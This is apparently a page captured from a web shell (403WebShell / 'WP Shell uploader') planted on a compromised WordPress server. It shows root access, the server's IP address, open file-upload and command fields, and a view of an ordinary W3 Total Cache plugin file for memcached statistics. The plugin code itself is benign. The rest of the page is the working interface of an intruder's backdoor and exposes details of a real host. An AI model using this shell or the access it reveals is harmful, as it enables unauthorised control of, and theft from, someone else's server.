Uname:Linux woropds 5.15.0-187-generic #197-Ubuntu SMP Fri Jul 17 19:17:01 UTC 2026 x86_64

Base Dir : /var/www/sweetheart.mx/htdocs

User : root


Who Knows WP Shell uploader
Uname:Linux woropds 5.15.0-187-generic #197-Ubuntu SMP Fri Jul 17 19:17:01 UTC 2026 x86_64

403WebShell
403Webshell
Server IP : 216.238.66.20  /  Your IP : 216.73.216.149
Web Server : nginx/1.30.4
System : Linux woropds 5.15.0-187-generic #197-Ubuntu SMP Fri Jul 17 19:17:01 UTC 2026 x86_64
User : root ( 0)
PHP Version : 8.2.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/lipsticklabial.com/htdocs/wp-content/plugins/w3-total-cache/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/lipsticklabial.com/htdocs/wp-content/plugins/w3-total-cache/Cache_Memcached_Stats.php
<?php
namespace W3TC;

/**
 * Download extended statistics since module cant do it by itself
 */
class Cache_Memcached_Stats {
	public function __construct( $host, $port ) {
		$this->host = $host;
		$this->port = $port;
	}

	public function request( $command ) {
		$handle = @fsockopen( $this->host, $this->port );
		if ( !$handle )
			return null;

		fwrite( $handle, $command . "\r\n" );

		$response = array();
		while ( ( !feof( $handle ) ) ) {
			$line = fgets( $handle );
			$response[] = $line;

			if ( $this->end( $line, $command ) )
				break;
		}

		@fclose( $handle );
		return $response;
	}

	private function end( $buffer, $command ) {
		// incr or decr also return integer
		if ( ( preg_match( '/^(incr|decr)/', $command ) ) ) {
			if ( preg_match(
					'/^(END|ERROR|SERVER_ERROR|CLIENT_ERROR|NOT_FOUND|[0-9]*)/',
					$buffer ) )
				return true;
		} else {
			if ( preg_match( '/^(END|DELETED|OK|ERROR|SERVER_ERROR|CLIENT_ERROR|NOT_FOUND|STORED|RESET|TOUCHED)/', $buffer ) )
				return true;
		}

		return false;
	}

	public function parse( $lines ) {
		$return = array();

		foreach ( $lines as $line ) {
			$data = explode( ' ', $line );
			$return[] = $data;
		}

		return $return;
	}

	public function slabs() {
		$result = $this->request( 'stats slabs' );
		if ( is_null( $result ) )
			return null;

		$result = $this->parse( $result );
		$slabs = array();

		foreach ( $result as $line_words ) {
			if ( count( $line_words ) < 2 )
				continue;

			$key = explode( ':', $line_words[1] );
			if ( (int)$key[0] > 0 )
				$slabs[$key[0]] = '*';
		}

		return array_keys( $slabs );
	}

	public function cachedump( $slab_id ) {
		$result = $this->request( 'stats cachedump ' . $slab_id . ' 0' );
		if ( is_null( $result ) )
			return null;

		// return pure data to limit memory usage
		return $result;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit